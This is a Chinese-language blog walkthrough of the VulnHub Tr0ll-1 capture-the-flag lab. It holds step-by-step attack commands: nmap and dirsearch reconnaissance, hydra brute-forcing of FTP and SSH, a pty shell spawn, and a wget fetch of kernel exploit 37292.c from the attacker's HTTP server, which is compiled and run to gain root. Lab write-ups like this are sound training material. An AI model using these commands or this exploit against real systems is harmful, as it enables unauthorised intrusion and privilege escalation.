Tr0ll-1專案實戰

2023-06-19 06:00:20

前言

Tr0ll的靈感來源於OSCP實驗室內機器的不斷拖動。

目標很簡單,獲取root並從/root目錄中獲取Proof.txt。

不適合那些容易受挫的人!公平的警告,前方有巨魔!

靶機環境

kali 192.168.31.153
Tr0ll-1 192.168.31.35
靶機下載地址:https://www.vulnhub.com/entry/tr0ll-1,100/

滲透實戰

環境搭建成功,使用nmap掃描網段ip探測存活主機

nmap 192.168.31.0/24

瀏覽器存取主機http://192.168.31.35,發現是一個暴走圖

檢視頁面js原始碼也是沒有任何線索,正常思路走就是對主機web頁面和ip進行資訊收集
首先我用nmap詳細掃描ip的埠資訊

nmap 192.168.31.35 -sV -O -p-   //掃描全埠資訊,版本資訊,作業系統

此處發現了21 22 80埠 且作業系統是ubuntu的linux系統,先放一邊,接下來就是掃描檔案目錄

python3 dirsearch.py -u http://192.168.31.35/ -e*

發現了一個檔案robots.txt,新增存取路徑檢視有一個/secret目錄,存取又是一個暴走圖並沒有有用的線索

現在只能從埠入手,首先嚐試ftp埠,利用hydra爆破使用者名稱密碼

hydra -L user.txt -P password.txt  192.168.31.35 -s 21 ftp

得到了使用者名稱為 Anonymous 和一堆弱密碼(這裡由於爆破時間有點長,只擷取了一部分)

但是我看網上可以嘗試無密碼直接登入成功

ftp 192.168.31.35
回車完顯示需要輸入使用者名稱,再回車一次
然後直接登入

回車完發現了有一串英文,意思是此FTP伺服器僅為匿名伺服器,可以使用圖中的英文anonymous無密碼登入,為什麼使用這個英文呢,是因為目前沒有其他線索了,我嘗試了其他使用者名稱又是不可以

緊接著就是查詢新線索,使用ls檢視檔案,發現有一個流量包lol.pcap

在ftp伺服器裡使用 get lol.pcap將流量包下載到本地

get lol.pcap

使用wireshark檢視流量包

右鍵點選第一個流量包,追蹤TCP流,發現提示是將一些二進位制程式碼放在secret_stuff.txt文字裡

修改剛剛圈出來在地址框的程式碼,把0改到2,看到提示說找到一個sup3rs3cr3tdirlol,看到這串字元有dir字樣,猜測應該是一個檔案或者資料夾

到瀏覽器存取看看http://192.168.31.35/sup3rs3cr3tdirlol,發現也是一個目錄,裡邊還有一個未知檔案 roflmao

使用kali的wget命令下載到本地檢視

wget http://192.168.31.35/sup3rs3cr3tdirlol/roflmao

可以利用kali的檔案解析命令獲取線索,這裡我使用strings命令

strings roflmao

得到了一堆提示,其中有一段英文提示Find address 0x0856BF to proceed,查詢0x0856BF這個地址,再次利用瀏覽器存取http://192.168.31.35/0x0856BF檢視

又是一個目錄,一個套著一個,這誰猜得到哦...
檢視兩個目錄,發現了是一個使用者名稱字典和密碼字典

到這突然意識到,應該是ssh的使用者和密碼,再次使用hydra爆破ssh埠

hydra -L which_one_lol.txt -p Pass.txt  192.168.31.35  ssh

一開始使用的是密碼文字的引數-P 但是多次爆破均沒用,然後換了-p發現密碼居然是Pass.txt,又是一個坑
登入ssh

ssh [email protected]
Pass.txt

直接獲取到webshell了,接著就是提權getshell

使用python獲取linux框架shell
python -c 'import pty;pty.spawn("/bin/bash")'

開始內網資訊收集,檢視核心版本資訊

cat /proc/version

發現是Linux ubuntu 3.13.0版本,老規矩,瀏覽器搜尋漏洞poc或者使用kali的searchsploit命令檢視poc指令碼
這裡為了方便演示,我使用searchsploit命令

searchsploit Linux ubuntu 3.13.0

使用第一個c指令碼,先將指令碼複製到/root下方便操作,再者使用cat檢視指令碼如何使用

find / -name 37292.c
cp /usr/share/exploitdb/exploits/linux/local/37292.c 37292.c
ls
cat 37292.c

指令碼提示需要下載到靶機,使用gcc編譯再執行,python3開啟http服務,在靶機後臺wget下載指令碼,但是此處又有一個坑,發現後臺並不能隨意下載

kali:
python3 -m http.server 8989

Tr0ll-1:
find / -writable 2>/dev/null   //檢視可寫入許可權的檔案

發現有一個臨時目錄/tmp可寫入,進入tmp資料夾,將指令碼下載到tmp

cd /tmp

wget http://192.168.31.153:8989/37292.c

下載完畢,使用gcc編譯37292.c

gcc 37292.c -o shell
-o:將編譯完的exp儲存在自行定義的檔案裡
chmod +x shell  //新增執行許可權
./shell    //開始執行
id
cd /root
cat proof.txt

總結

1.從nmap掃描到埠再到hydra破解埠
2.使用wireshark流量分析lol.pcap包獲取線索
3.strings解析二進位制檔案查詢提示資訊
4.利用已知核心漏洞提權getshell
5.最後這個靶機在檢視到有很多地方可以寫入許可權,方法不止一個,但是我這裡僅展示最簡單的提權方法:利用已知漏洞獲取許可權
其他拓展思路可以參考此部落格:https://blog.csdn.net/weixin_44807430/article/details/128707254